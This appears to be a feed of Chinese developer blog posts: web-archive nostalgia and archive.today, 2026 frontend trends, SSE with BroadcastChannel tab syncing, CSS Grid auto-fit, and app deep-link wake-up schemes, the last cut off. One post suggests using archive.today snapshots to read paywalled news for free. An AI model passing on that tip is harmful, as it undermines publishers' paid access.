这个帖子的点击量是 10w,有 816 个回复。


可见这确实是当时的一个非常热门的话题。


按照作者的观点,纯电汽车代替燃油汽车,还很长的路要走。


站在 10 年后的今天,其实我们已经知道答案了。


但是,当我看到这个回复的时候,我还是佩服天涯网友的眼光:



除了天涯,还可以考古很多其他的网站。


比如,B 站:



从 2011 年开始有了网页快照,我随便点开一看,满满的历史感:



而这是 2016 年,10 年前的 B 站首页:



当时还有一个专门的鬼畜区:



而这里的一些视频甚至还是可以播放的。


比如这个“启蒙作品”:



现在在 B 站有 160w 的播放:



在这个视频的评论区,你能找到大量来“考古”的人:





二十年都弹指一挥间了,别说区区十年了。


从 B 站怀旧完成后,随便,我也去磨房、马蜂窝、穷游网看了一圈,随便选了 2012 年到 2016 年间的一些页面,感谢它们陪我度过了一整个美好的大学生活。


是我当时认识、感知、体验这个的广阔世界的一个重要窗口。


感谢磨房 4 年的陪伴:



感谢马蜂窝 4 年的陪伴:



感谢穷游网 4 年的陪伴:



如果你也有想要寻找的记忆,可以尝试在这个网站上去找一找。


存档


既然已经聊到“archive”了,那就顺便再分享一个“archive.today”。



archive.ph/




这个网站和前面的“互联网档案馆”最大的一个差异是“互联网档案馆”是它主动去做“网页快照”,什么时候做,什么页面做,并不一定。


而“archive.today”是一个你可以去主动存档的网站。


比如,还是说回 reddit 上的那个帖子。


帖子下面有这样的一个回复:



这个回复中的超链接就是回复者找到的关于这个“爆料”是 AI 生成的证据。


点过去是这样的:



他提供的是一个网页存档。


为什么他要这么做呢?


你想想,如果他提供一个原始链接,但是这个原始链接突然有一天找不到了,岂不是很尴尬?


但是先在“archive.today”上存档一下,然后把这个存档后的链接贴出来,就稳当多了。


以后你要保存证据的话,你就可以使用这个网站。


另外,这个网站还有一个骚操作。


反而是骚操作让这个网站的打开率更高一点。


国外的一些网站可能有些文章是要付费才能看到的。


比如纽约时报:



但是,如果你一不小心把付费文章的链接贴在这个网站上去搜索。


有一些“好事之人”已经帮你把文章在这个网站上做了快照了,这些人可以称之为“赛博菩萨”,因为这些“菩萨”,你就可能看到免费的原文了:



在这里叠个甲啊,偶尔看到一两篇的话可以这样操作一下,就当时是试看了。


如果经常要看的话,还是充点钱吧。


对了,多说一句,上面提到的神奇的网站既然叫做时光胶囊,还有一些赛博菩萨,这些魔法世界中才有的东西,那肯定需要你会对应的魔法咒语才能访问到。如果你不会魔法,强行访问,那你肯定要撞到墙上。



作者:why技术
来源:juejin.cn/post/7594266018304737343
收起阅读 »

2026 年 Web 前端开发的 8 个趋势!

web
1. 前言 2025 年是 Web 开发的分水岭。 之前 Web 开发领域一直发展迅速,几乎每天都有新的工具和框架涌现。 但到了 2025 年,这种发展速度直接呈指数级增长。 之所以有这种变化,很大程度上是因为 AI 工具的高效性,它们直接将生产力提升了 3 ...
继续阅读 »

1. 前言


2025 年是 Web 开发的分水岭。


之前 Web 开发领域一直发展迅速,几乎每天都有新的工具和框架涌现。


但到了 2025 年,这种发展速度直接呈指数级增长。


之所以有这种变化,很大程度上是因为 AI 工具的高效性,它们直接将生产力提升了 3 倍!


想想几年前,我们还在争论 GitHub Copilot 这样的 AI 工具是否可靠,如今,AI 已经能构建完整的全栈应用程序了!。


这也让不少人担忧,AI 是否真的能取代我们。


站在 2026 年的门槛上,让我们一起看看,今年会有哪些真正影响你我的技术趋势。


注意:这不是那种“5 年以后”的远景预测,而是今年你就有可能遇到的实实在在的变化。


2. AI 优先开发


AI 工具已经不再试一个简单的代码补全工具,它已经成为开发的核心组成部分。


开发人员更像是架构师的角色,监督 AI 智能体工作。毕竟 AI 智能体已经可以根据 Figma URL 或自然语言提示搭建完整的功能框架。


AI 也在重塑开发者探索和理解代码的方式。


团队不再需要手动阅读庞大的代码库,利用 AI 直接可以解释不熟悉的逻辑、追踪数据流并发现边缘 case。这极大地缩短了新用户上手时间,也让大型项目更易于操作。


因此,采用 AI 优先开发的团队将减少在机械性工作上花费的时间,而将更多精力投入到项目架构、用户体验的优化上。


这些工具虽然不能编写完美的代码,但它们会改变开发人员的精力投入方向。


3. 元框架成为默认设置


还记得当年选技术栈时的纠结吗?


路由用哪个?打包工具选什么?状态管理怎么办?


现在,这些问题都有了一个标准答案:用 Next.js 或 Nuxt 就完了。


因为这些元框架就是一个“全家桶套餐”,把你需要的所有东西都打包好了。


路由、数据获取、缓存、渲染策略、API 接口……统统内置。很多时候,后端就是前端项目里的一个文件夹。


AI 工具的兴起也加速了这一转变。现在大多数生成式 UI 构建器默认都会生成元框架项目。Vercel 自家的构建器 v0 就是一个很好的例子:开箱即用,直接输出 Next.js 应用程序。


对开发者来说,这是个好消息,意味着你可以把更多精力放在业务逻辑上,而不是纠结工具链的选择。


4. 前端开发 TanStack 化


虽然元框架提供了结构,但 TanStack 套件(查询、路由、表格、表单)已成为逻辑层的实际标准。


从最早的 TanStack Query(以前叫 React Query)处理数据获取和缓存,到现在的 Table、Form、Router、Store……它几乎覆盖了前端开发的方方面面。


2025 年,TanStack 又推出了 DB、AI 等新工具,从库升级成了一个完整生态。


TanStack 最大的优势就是框架无关、实用至上。


无论你用 React、Vue 还是其他框架,TanStack 都能无缝接入。而且它的设计理念很务实,解决的都是开发中的实际痛点。


TanStack 俨然成为前端界的“瑞士军刀”。


5. TypeScript + 服务端函数,告别传统后端


TypeScript 已经是标配,2026 年还在写 JavaScript 多少有些过时了。


而且随着服务端函数和托管后端的流行,前端和后端的界限将越来越模糊。


举个例子:


使用 tRPC,你可以在前端直接调用后端函数,而且类型完全同步。不需要手写 API 文档,不需要维护接口定义,改了后端,前端自动感知。


这就好比以前你要写信寄到邮局,现在直接打电话——即时、准确、零误差。


6. React 编译器越来越普及


还记得为了优化性能,到处写 useMemo、useCallback、React.memo 的日子吗?


React 编译器(React Compiler)在 2025 年 10 月发布 v1.0 后,已经开始大规模应用。它能在构建时自动处理性能优化,你只管写清晰的代码,编译器帮你搞定优化。


就像相机的自动对焦——以前要手动调,现在按快门就行。


如今 Next.js 16、Vite、Expo 等主流工具已经内置了 React 编译器。


创建新项目时,它就是默认配置的一部分。


这对新手特别友好。不用纠结性能问题,专注于功能实现就好,代码也更简洁易读。


7. 边缘计算开始普遍


以前部署应用,服务器可能在北京,广州的用户访问就慢半拍。


边缘计算的核心思路是:让代码跑在离用户最近的节点上。


你在上海?就用上海的服务器。你在成都?就用成都的。延迟大幅降低,响应速度更快。


而且现代框架的很多特性——比如服务端函数、流式响应——天生就适合边缘部署。再加上 AI 工具(像 v0、Lovable)一键生成边缘应用,这个趋势已经不是“要不要”的问题,而是“什么时候”的问题。


到 2026 年,边缘部署会成为默认选项。作为开发者,你需要习惯在设计时就考虑边缘环境的特点。


8. CSS:原生能力回归,实用工具辅助


原生 CSS 这些年在不断进化。


容器查询、层叠样式表、CSS 变量、现代颜色函数……这些新特性让 CSS 的表达能力大幅提升。


于是现在的趋势变成了混合使用:传统的实用类负责快速搭建,原生 CSS 负责精细控制。


比如特定样式以 CSS 变量的形式表示,变体和主题通过 layers 和选择器来处理,而不再依赖构建时处理。


9. React 安全性提升


202025 年,React 生态爆出了不少安全漏洞,比如 Next.js 中间件漏洞和 React2Shell。


这是因为前端承担的责任越来越重。


以前前端就负责展示,安全问题是后端的事。


现在 React 应用要处理身份验证、数据访问、业务逻辑……攻击面大大增加。


所以 2026 年预计框架会推出更多“防御性默认设置”,防止开发者犯错。


静态分析工具会更智能,开发时就能发现潜在安全隐患。框架和安全扫描器的集成会更紧密。


10. 结论


2026 年的前端开发,核心变化是角色转变。


你不再是“写代码的人”,而是“协调资源的人”。


AI 帮你写重复代码,编译器帮你优化性能,框架帮你搭好架构……


你要做的,是把精力放在更重要的事情上:



  • 理解用户需求

  • 设计系统架构

  • 把控产品质量

  • 优化用户体验


技术在进步,工具在演化,但解决问题的能力和对用户的关注——这些才是永远不会过时的核心竞争力。


2026 年,我们不是被工具取代,而是在工具的帮助下,做更有价值的事。


我是冴羽,10 年笔耕不辍,专注前端领域,更新了 10+ 系列、300+ 篇原创技术文章,翻译过 Svelte、Solid.js、TypeScript 文档,著有小册《Next.js 开发指南》、《Svelte 开发指南》、《Astro 实战指南》。


欢迎围观我的“网页版朋友圈”,关注我的公众号:冴羽(或搜索 yayujs) ,每天分享前端知识、AI 干货。


作者:冴羽
来源:juejin.cn/post/7594028166135250944
收起阅读 »

WebSocket,退!退!退!更简单的实时通信方案在此

web
多标签页实时消息同步方案:SSE + BroadcastChannel 完美解决! 你是否遇到过这样的问题: 用户同时打开多个标签页,每个标签页都建立了独立的 WebSocket 连接,导致服务器压力大、消息重复推送、资源浪费?本文将分享一个优雅的解决方案,...
继续阅读 »

多标签页实时消息同步方案:SSE + BroadcastChannel 完美解决!



你是否遇到过这样的问题:
用户同时打开多个标签页,每个标签页都建立了独立的 WebSocket 连接,导致服务器压力大、消息重复推送、资源浪费?本文将分享一个优雅的解决方案,通过 SSE + BroadcastChannel 的组合,实现单连接、多标签页实时消息同步,既节省资源又提升用户体验。



适用场景


推荐使用



  • 实时消息推送:系统通知、用户消息、业务提醒等

  • 数据同步:多标签页状态同步、购物车同步、表单数据同步

  • 任务状态更新:后台任务进度、数据处理状态、导出任务完成通知

  • 系统公告:全局消息广播、系统维护通知、版本更新提示


实际案例


在我们的 BI 系统中,该方案成功应用于:



  • 消息中心:实时推送系统消息和业务通知

  • 任务管理:后台数据处理任务的状态更新和完成通知(如素材批量上传任务)

  • 国际化同步:多语言配置的实时更新



国际化同步这块配合 apollo 的配置中心实现多语言配置更新发布后,系统会无感自动实时更新翻译,超级爽



不推荐使用



  • 高频双向通信:如实时聊天、游戏等,建议使用 WebSocket

  • 大量数据传输:如文件传输、大数据同步,建议使用 HTTP 轮询或分页

  • 跨域通信:需要使用 postMessage 或其他跨域方案


前言



如果不想了解技术背景可点击直接跳转到实现方案👇



初衷


在现代 Web 应用中,实时消息推送、任务状态更新等是常见的需求。然而,当用户同时打开多个标签页时,如何确保消息能够正确同步到所有标签页,同时避免重复连接和资源浪费,是一个值得深入探讨的技术问题。


本文基于实际项目经验,分享如何通过 SSE(Server-Sent Events)BroadcastChannel API 的组合方案,实现高效的多标签页实时消息同步。该方案不仅解决了单标签页消息推送的问题,还优雅地处理了多标签页场景下的连接管理和消息分发。


问题背景


多标签页消息同步的挑战


在实际业务场景中,我们遇到了以下问题:


场景一:用户打开多个标签页


当用户同时打开多个标签页访问同一个应用时,如果每个标签页都建立独立的 SSE 连接,会导致:



  • 服务器资源浪费(多个长连接)

  • 消息重复推送(每个标签页都收到相同消息)

  • 用户体验不一致(不同标签页消息状态不同步)



打开多页签若系统采用 HTTP 1.0/1.1 协议,用户每打开一个页面就会建立一个长连接;当打开的标签页数量超过 6 个时,受浏览器并发连接数限制,第七个及之后的标签页将无法正常加载,出现卡顿。



场景二:标签页关闭与重连


当某个标签页关闭时,如果该标签页持有唯一的 SSE 连接,其他标签页将无法继续接收消息。需要:



  • 检测连接断开

  • 自动在其他标签页重新建立连接

  • 保证消息不丢失


场景三:消息去重与状态同步


多个标签页需要:



  • 避免重复显示相同的消息通知

  • 保持消息已读/未读状态同步

  • 统一更新 UI 状态(如未读消息数)


传统方案的局限性


方案优点缺点
纯 SSE实现简单,浏览器原生支持多标签页会建立多个连接,资源浪费
纯 WebSocket双向通信,功能强大实现复杂,需要心跳检测,多标签页问题同样存在
LocalStorage 事件跨标签页通信简单只能传递字符串,性能较差,不适合频繁通信
SharedWorker真正的单例连接兼容性一般,调试困难



技术选型


为什么选择 SSE


SSE(Server-Sent Events) 是 HTML5 标准中的一种服务器推送技术,具有以下优势:



  1. 简单易用:基于 HTTP 协议,无需额外协议升级

  2. 自动重连:浏览器原生支持断线重连机制

  3. 单向推送:适合服务器主动推送消息的场景

  4. 文本友好:天然支持文本数据,JSON 解析方便


// SSE 基本使用
const eventSource = new EventSource('/api/sse');
eventSource.onmessage = (event) => {
console.log('收到消息:', event.data);
};

为什么选择 BroadcastChannel


BroadcastChannel API 是 HTML5 提供的跨标签页通信方案:



  1. 同源通信:同一域名下的所有标签页可以通信

  2. 简单高效:API 简洁,性能优秀

  3. 类型支持:支持传输对象、数组等复杂数据类型

  4. 事件驱动:基于事件机制,易于集成


// BroadcastChannel 基本使用
const channel = new BroadcastChannel('my-channel');
channel.postMessage({ type: 'MESSAGE', data: 'Hello' });
channel.onmessage = (event) => {
console.log('收到广播:', event.data);
};

组合方案的优势


将 SSE 和 BroadcastChannel 结合,可以实现:



  • 单连接管理:只有一个标签页建立 SSE 连接

  • 消息广播:SSE 接收的消息通过 BroadcastChannel 同步到所有标签页

  • 连接恢复:标签页关闭时,其他标签页自动接管连接

  • 状态同步:所有标签页的消息状态保持一致




实现方案


整体架构设计


sequenceDiagram
participant Server as 服务器端
participant TabA as 标签页 A<br/>(主连接)
participant BC as BroadcastChannel
participant TabB as 标签页 B<br/>(从连接)

Note over TabA: 初始化阶段
TabA->>TabA: 检查是否有 SSE 连接
alt 无连接
TabA->>Server: 建立 SSE 连接
Server-->>TabA: 连接成功
end

Note over Server,TabB: 消息接收阶段
Server->>TabA: 推送消息 (SSE)
TabA->>TabA: 处理消息<br/>(更新状态、显示通知)
TabA->>BC: 广播消息
BC->>TabB: 同步消息
TabB->>TabB: 处理消息<br/>(更新状态、显示通知)

Note over TabA,TabB: 连接管理阶段
TabA->>TabA: 标签页关闭
TabA->>BC: 发送关闭信号
BC->>TabB: 通知连接关闭
TabB->>TabB: 关闭旧连接
TabB->>Server: 重新建立 SSE 连接
Server-->>TabB: 连接成功

核心流程



  1. 初始化阶段



    • 应用启动时,检查是否已有 SSE 连接

    • 如果没有,当前标签页建立 SSE 连接

    • 如果有,直接使用现有连接



  2. 消息接收阶段



    • SSE 连接接收到服务器推送的消息

    • 当前标签页处理消息(显示通知、更新状态)

    • 通过 BroadcastChannel 广播消息到其他标签页

    • 其他标签页接收广播,同步处理消息



  3. 连接管理阶段



    • 标签页关闭时,发送关闭信号到 BroadcastChannel

    • 其他标签页监听到关闭信号,关闭旧连接

    • 重新建立 SSE 连接,确保消息不中断





注意这里服务端接入 SSE 的时候可以设置同一用户下只保持一个活跃连接即可,历史连接丢弃超时会自动断开





核心实现


1. SSE 连接封装


首先,我们需要封装一个支持重连和错误处理的 SSE 连接工具:


import { EventSourcePolyfill } from 'event-source-polyfill';
import util from '@/libs/util';
import Setting from "@/setting";

const MAX_RETRY_COUNT = 3;
const RETRY_DELAY = 3000;

const create = (url, payload) => {
let retryCount = 0;

const connect = () => {
const token = util.cookies.get("token")
if(!token){
return
}

const eventSource = new EventSourcePolyfill(
`${Setting.request.apiBaseURL}${url}`,
{
headers: {
token: util.cookies.get("token"),
pageUrl: window.location.pathname,
userId: util.cookies.get("userId"),
},
heartbeatTimeout: 28800000, // 8小时心跳超时
}
);

eventSource.addEventListener("open", function (e) {
console.log('SSE连接成功');
retryCount = 0; // 重置重试次数
});

eventSource.addEventListener("error", function (err) {
console.error('SSE连接错误:', err);

if (retryCount < MAX_RETRY_COUNT) {
retryCount++;
console.log(`尝试重新连接 (${retryCount}/${MAX_RETRY_COUNT})...`);
setTimeout(() => {
eventSource.close();
connect();
}, RETRY_DELAY);
} else {
console.error('SSE连接失败,已达到最大重试次数');
eventSource.close();
}
});

return eventSource;
};

return connect();
}

export default {
create
}

关键点解析



  • 使用 EventSourcePolyfill 支持自定义 headers(原生 EventSource 不支持)

  • 实现自动重连机制,最多重试 3 次

  • 设置心跳超时时间,防止长时间无响应导致连接假死

  • 在 headers 中传递 token 和页面信息,便于服务端识别和路由


2. BroadcastChannel 封装


创建一个简洁的 BroadcastChannel 工具类:


export const createBroadcastChannel = (channelName: string) => {
const channel = new BroadcastChannel(channelName);
return {
channel,
sendMessage(data: any) {
channel.postMessage(data);
},
receiveMessage(callback: (data: any) => void) {
channel.onmessage = (event) => {
callback(event.data);
};
},
closeChannel() {
channel.close();
},
};
};

设计说明



  • 封装成工厂函数,便于创建多个通道(消息通道、连接管理通道)

  • 提供简洁的 API:发送消息、接收消息、关闭通道

  • 支持传递任意类型数据(对象、数组等)


3. SSE 连接管理


实现单例模式的 SSE 连接管理:


import sseRequest from "@/plugins/request/sse";
import store from "@/store";

export const fetchSSE = (payload?: { [key: string]: string }) => {
const eventSource = sseRequest.create("/sse/connect", {
...payload
});
return eventSource;
};

export const initSSEEvent = async () => {
console.log('sse-init');
// 检查是否已经有实例在当前标签页中创建,可用于项目中获取实例方法用
let eventSource = (store.state as any).admin.request.sseEvent;

if (!eventSource) {
// 如果没有实例,则创建一个新的
eventSource = fetchSSE();
// 存储到 Vuex 中
store.commit('admin/request/SET_SSE_EVENT', eventSource);
}

return eventSource;
};

核心逻辑



  • 通过 Vuex 全局状态管理 SSE 连接实例

  • 实现单例模式:如果已有连接,直接复用

  • 避免多个标签页同时建立连接


4. 消息处理与广播


实现消息接收、处理和跨标签页同步:


import { createBroadcastChannel } from "@/libs/broadcastChannel";

// 创建消息广播通道
const { sendMessage, receiveMessage } =
createBroadcastChannel("message-channel");

export const pushWatchAndShowNotifications = async (): Promise<any> => {
// 获取 SSE 连接实例
const eventSource = (store.state as any).admin.request.sseEvent;
if (!eventSource) {
return;
}

// 监听服务器推送的消息
eventSource.addEventListener("MESSAGE", function (e) {
const fmtData = JSON.parse(e.data);

// 1. 广播消息到其他标签页
sendMessage(fmtData);

// 2. 当前标签页处理消息
handleIncomingMessage(fmtData);
});

// 监听用户任务推送
eventSource.addEventListener("USER_TASK", function (e) {
const fmtData = JSON.parse(e.data);

// 广播任务消息到其他标签页
sendMessage({ type: "USER_TASK", data: fmtData });

// 当前标签页处理任务消息
handleIncomingUserTask(fmtData);
});

// 监听其他标签页广播的消息
receiveMessage((data) => {
if (data.type === "USER_TASK") {
handleIncomingUserTask(data.data);
} else {
handleIncomingMessage(data);
}
});

return eventSource;
};

function handleIncomingMessage(fmtData: any) {
const productId = (store.state as any).admin.user.info?.curProduct;
const productData = fmtData[productId];
if (!productData) {
return;
}

const { noReadCount, popupList } = productData;
// 更新未读消息数
store.commit("admin/layout/setUnreadMessage", noReadCount);

// 显示消息通知
if (popupList.length > 0) {
popupList.forEach((message, index) => {
showNotification(message, index);
});
}
}

处理流程



  1. SSE 接收到消息后,立即通过 BroadcastChannel 广播

  2. 当前标签页处理消息(更新状态、显示通知)

  3. 其他标签页通过 BroadcastChannel 接收消息,同步处理

  4. 确保所有标签页状态一致


5. 连接恢复机制


实现标签页关闭时的连接恢复:


import { createBroadcastChannel } from '@/libs/broadcastChannel';

// 创建连接管理通道
const { sendMessage, receiveMessage } =
createBroadcastChannel('sse-close-channel');

export default defineComponent({
methods: {
handleCloseMessage() {
const sseEvent = (store.state as any).admin.request.sseEvent
if (sseEvent) {
sseEvent.close()
store.commit('admin/request/CLEAR_SSE_EVENT');
}
},
handleSSEClosed() {
// 监听其他标签页关闭 SSE 连接的消息
receiveMessage((data) => {
if (data === 'sse-closed') {
console.log('SSE connection closed in another tab. Re-establishing connection.');
// 关闭旧连接
this.handleCloseMessage()
// 重新建立连接
initSSEEvent();
this.handleGetMessage()
this.handleGetUserTasks()
}
});
}
},
mounted() {
// 页面卸载时,关闭 SSE 连接并通知其他标签页
on(window, 'beforeunload', () => {
const eventSource = (store.state as any).admin.request.sseEvent;
if (eventSource) {
eventSource.close();
store.commit('admin/request/CLEAR_SSE_EVENT');
}
// 广播关闭消息
sendMessage('sse-closed');
});

// 初始化 SSE 连接
const token = (store.state as any).admin.user.info?.curProduct
|| util.cookies.get("token");
if (token && !(store.state as any).admin.request.sseEvent) {
initSSEEvent();
pushWatchAndShowNotifications();
}

// 监听其他标签页的连接关闭事件
this.handleSSEClosed();
},
beforeUnmount() {
this.handleCloseMessage()
}
})

恢复机制



  1. 标签页关闭时,发送 sse-closed 消息到 BroadcastChannel

  2. 其他标签页监听到消息,关闭旧连接并清理状态

  3. 重新初始化 SSE 连接和相关监听

  4. 确保至少有一个标签页保持连接


6. 状态管理


在 Vuex 中管理 SSE 连接状态:


export default {
namespaced: true,
state: {
sseEvent: null // SSE 连接实例
},
mutations: {
// 设置 SSE 事件
SET_SSE_EVENT(state, payload) {
state.sseEvent = payload
},
// 清除 SSE 事件
CLEAR_SSE_EVENT(state) {
state.sseEvent = null
}
}
}



方案总结


方案优势



  1. 资源优化



    • 多个标签页共享一个 SSE 连接,减少服务器压力

    • 降低网络带宽消耗

    • 减少客户端内存占用



  2. 用户体验提升



    • 所有标签页消息状态实时同步

    • 避免重复通知,减少干扰

    • 连接自动恢复,消息不丢失



  3. 实现简洁



    • 基于浏览器原生 API,无需额外依赖

    • 代码结构清晰,易于维护

    • 兼容性好,现代浏览器全面支持



  4. 扩展性强



    • 可以轻松添加新的消息类型

    • 支持多个 BroadcastChannel 通道

    • 便于集成到现有项目




局限性及注意事项



  1. 浏览器兼容性



    • BroadcastChannel 不支持 IE 和部分旧版浏览器

    • 需要提供降级方案(如 LocalStorage 事件)



  2. 同源限制



    • BroadcastChannel 只能在同源页面间通信

    • 跨域场景需要使用其他方案(如 postMessage)



  3. 连接管理



    • 需要妥善处理标签页关闭和刷新场景

    • 避免内存泄漏(及时清理事件监听)



  4. 错误处理



    • SSE 连接断开时需要重连机制

    • 网络异常时的降级策略




最佳实践建议



  1. 连接管理



    • 建议:使用单例模式管理连接

    • 建议:在应用入口统一初始化

    • 建议:页面卸载时清理资源



  2. 消息去重



    • 建议:为消息添加唯一 ID

    • 建议:使用 Set 或 Map 记录已处理消息

    • 建议:设置消息过期时间



  3. 性能优化



    • 建议:限制 BroadcastChannel 消息大小

    • 建议:使用防抖处理频繁消息

    • 建议:批量处理消息更新



  4. 错误恢复



    • 建议:实现指数退避重连策略

    • 建议:添加连接状态监控

    • 建议:提供手动重连功能




技术对比总结


特性SSE + BroadcastChannelWebSocket轮询
实现复杂度⭐⭐ 简单⭐⭐⭐⭐ 复杂⭐ 很简单
服务器压力⭐⭐ 低(单连接)⭐⭐⭐ 中等⭐⭐⭐⭐ 高
实时性⭐⭐⭐⭐ 优秀⭐⭐⭐⭐⭐ 极佳⭐⭐ 一般
多标签页支持⭐⭐⭐⭐⭐ 完美⭐⭐ 需额外处理⭐⭐⭐ 一般
浏览器兼容⭐⭐⭐⭐ 良好⭐⭐⭐⭐ 良好⭐⭐⭐⭐⭐ 完美

未来优化方向



  1. 连接池管理:支持多个 SSE 连接,按业务类型分离

  2. 消息队列:离线消息缓存和重放机制

  3. 性能监控:连接质量监控和自动优化

  4. 降级方案:兼容旧浏览器的替代实现




参考文档





结语


SSE + BroadcastChannel 的组合方案为多标签页实时消息同步提供了一个优雅的解决方案。该方案在保证功能完整性的同时,兼顾了性能和用户体验。希望本文能够帮助你在实际项目中更好地应用这些技术。


写在最后


如果你在实际项目中应用了这个方案,欢迎分享你的经验和遇到的问题。如果你有更好的想法或优化建议,也欢迎在评论区交流讨论。


如果这篇文章对你有帮助,请点个赞支持一下,让更多开发者看到这个方案!


作者:Focus_
来源:juejin.cn/post/7588355695100854281
收起阅读 »

🤡什么鬼?两行代码就能适应任何屏幕?

web
你可能想不到,只用两行 CSS,就能让你的卡片、图片、内容块自动适应各种屏幕宽度,彻底摆脱复杂的媒体查询! 秘诀就是 CSS Grid 的 auto-fill 和 auto-fit。 马上教你用!✨ 🧩 基础概念 假设你有这样一个需求: 一排展示很多卡片...
继续阅读 »

你可能想不到,只用两行 CSS,就能让你的卡片、图片、内容块自动适应各种屏幕宽度,彻底摆脱复杂的媒体查询!
秘诀就是 CSS Grid 的 auto-fillauto-fit


20250428112254_rec_.gif


马上教你用!✨




🧩 基础概念


假设你有这样一个需求:



  • 一排展示很多卡片

  • 每个卡片最小宽度 200px,剩余空间平均分配

  • 屏幕变窄时自动换行


只需在父元素加两行 CSS 就能实现:


/* 父元素 */
.grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
}

/* 子元素 */
.item {
height: 200px;
background-color: rgb(141, 141, 255);
border-radius: 10px;
}



下面详细解释这行代码的意思:


grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));

这是 CSS Grid 布局里定义列宽的常用写法,逐个拆解如下:


1. grid-template-columns



  • 作用:定义网格容器里有多少列,以及每列的宽度。


2. repeat(auto-fit, ...)



  • repeat 是个重复函数,表示后面的模式会被重复多次。

  • auto-fit 是一个特殊值,意思是:自动根据容器宽度,能放下几个就放几个,每列都用后面的规则。

    • 容器宽度足够时,能多放就多放,放不下就自动换行。




3. minmax(200px, 1fr)



  • minmax 也是一个函数,意思是:每列最小200px,最大可以占1fr(剩余空间的平分)

  • 具体来说:

    • 当屏幕宽度很窄时,每列最小宽度是200px,再窄就会换行。

    • 当屏幕宽度变宽,卡片会自动拉伸,每列最大可以占据剩余空间的等分1fr),让内容填满整行。




4. 综合起来



  • 这行代码的意思就是:

    • 网格会自动生成多列,每列最小200px,最大可以平分一行的剩余空间。

    • 屏幕宽了就多显示几列,屏幕窄了就少显示几列,自动换行,自适应各种屏幕!

    • 不需要媒体查询,布局就能灵活响应。




总结一句话:



grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));

让你的网格卡片最小200px,最大自动填满一行,自动适应任何屏幕,布局永远美观!





这里还能填 auto-fill,和 auto-fit 有啥区别?




🥇 auto-fill 和 auto-fit 有啥区别?


1. auto-fill



🧱 尽可能多地填充列,即使没有内容也会“占位”




  • 会自动创建尽可能多的列轨道(包括空轨道),让网格尽量填满容器。

  • 适合需要“列对齐”或“固定网格数”的场景。


2. auto-fit



🧱 自动适应内容,能合并多余空列,不占位




  • 会自动“折叠”没有内容的轨道,让现有的内容尽量拉伸占满空间。

  • 适合希望内容自适应填满整行的场景。




👀 直观对比


假设容器宽度能容纳 10 个 200px 的卡片,但你只放了 5 个卡片:



  • auto-fill 会保留 10 列宽度,5 个卡片在前五列,后面五列是“空轨道”。

  • auto-fit 会折叠掉后面五列,让这 5 个卡片拉伸填满整行。


20250428151427_rec_.gif


👇 Demo 代码:


<h2>auto-fill</h2>
<div class="grid-fill">
<div>item1</div>
<div>item2</div>
<div>item3</div>
<div>item4</div>
<div>item5</div>
</div>

<h2>auto-fit</h2>
<div class="grid-fit">
<div>item1</div>
<div>item2</div>
<div>item3</div>
<div>item4</div>
<div>item5</div>
</div>

.grid-fill {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
gap: 16px;
margin-bottom: 40px;
}
.grid-fit {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 16px;
}
.grid-fill div {
background: #08f700;
}
.grid-fit div {
background: #f7b500;
}
.grid-fill div,
.grid-fit div {
padding: 24px;
font-size: 18px;
border-radius: 8px;
text-align: center;
}

兼容性


caniuse.com/?search=aut…


image.png




🎯 什么时候用 auto-fill,什么时候用 auto-fit?



  • 希望每行“有多少内容就撑多宽”,用 auto-fit

    适合卡片式布局、相册、响应式按钮等。

  • 希望“固定列数/有占位”,用 auto-fill

    比如表格、日历,或者你希望网格始终对齐,即使内容不满。




📝 总结


属性空轨道内容拉伸适用场景
auto-fill保留固定列数、占位网格
auto-fit折叠流式布局、拉伸填充



🌟 小结



  • auto-fill 更像“占位”,auto-fit 更像“自适应”

  • 推荐大部分响应式卡片用 auto-fit

  • 善用 minmax 配合,让列宽自适应得更自然




只需两行代码,你的页面就能优雅适配各种屏幕!

觉得有用就点赞收藏吧,更多前端干货持续更新中!🚀✨


作者:前端九哥
来源:juejin.cn/post/7497895954101403688
收起阅读 »

H5唤醒APP技术方案入门级介绍

web
内容大纲 什么是H5唤醒App “唤醒 App”指的是: 🐔🏀 从「另一个应用 / 系统环境」跳转并打开「你本地已安装的 App」 唤醒 App = 跨应用启动 典型来源端(“从哪来”) 🐔 浏览器(Safari / Chrome / 系统浏览器)...
继续阅读 »

内容大纲


image.png




什么是H5唤醒App


“唤醒 App”指的是:


🐔🏀 从「另一个应用 / 系统环境」跳转并打开「你本地已安装的 App」


唤醒 App = 跨应用启动



典型来源端(“从哪来”)



  • 🐔 浏览器(Safari / Chrome / 系统浏览器)

  • 🏀 微信 / QQ / 钉钉 / 支付宝

  • 🐔 其他第三方 App

  • 🏀 短信 / 邮件

  • 🐔󠁧󠁢󠁥󠁮󠁧󠁿 推送通知

  • 🎤 二维码




目标端(“到哪去”)



  • 🐉 你已经安装在手机里的原生 App

  • 并且:

  • 启动 App

  • 还能跳到 指定页面






唤醒 App 的技术方案


deep link

在讲具体的技术选型方案之前


我们先要说什么是 deep link(唤端技术的本质)




deep link 本质上不是“打开 App” ,而是“让操作系统把一次跳转请求路由给某个 App 处理



  • 浏览器 / 微信 / 系统 并不是“主动打开 App”

  • 而是 把一个“链接”交给系统

  • 系统再决定:



    • 1.有没有 App 能处理?

    • 2.交给谁?

    • 3.怎么交?




所以 deep link 是系统能力,不是 JS 技巧。




为什么会有这么多种唤醒方案?


  • 1.iOS 和 Android 的系统模型不同

  • 2.安全策略不同

  • 3.浏览器、微信等容器又各自加了一层限制


于是结果就是:



“同一个目标(打开 App),在不同系统上只能用不同的入口”





这也是为什么你看到的主流方案是这三类



  • 1.URL Scheme(最原始)

  • 2.Universal Link(iOS 官方)

  • 3.App Link / Chrome Intents(Android 官方)




方案1.URL Scheme

在关于H5混合开发的通信中,我们就已经介绍了URL Scheme是JS bridge通信方式的一种


它的使用场景并不局限于“唤醒 App”,而是更广义的:





👉 通过一个特定格式的 URL,让系统或原生拦截并执行对应逻辑



一个典型的 URL Scheme 长这样:


myapp://page/detail?id=123

其中:



  • myapp:协议名(Scheme)

  • page/detail:业务路径

  • id=123:参数


对浏览器来说,它并不关心这个 URL 是否“合法”, 它唯一做的事是:把这个 URL 交给操作系统处理。


Scheme 方案唤醒app能生效的前提是:App 必须提前向系统注册这个协议名




在 App 安装阶段



  • iOS / Android 会在系统层记录

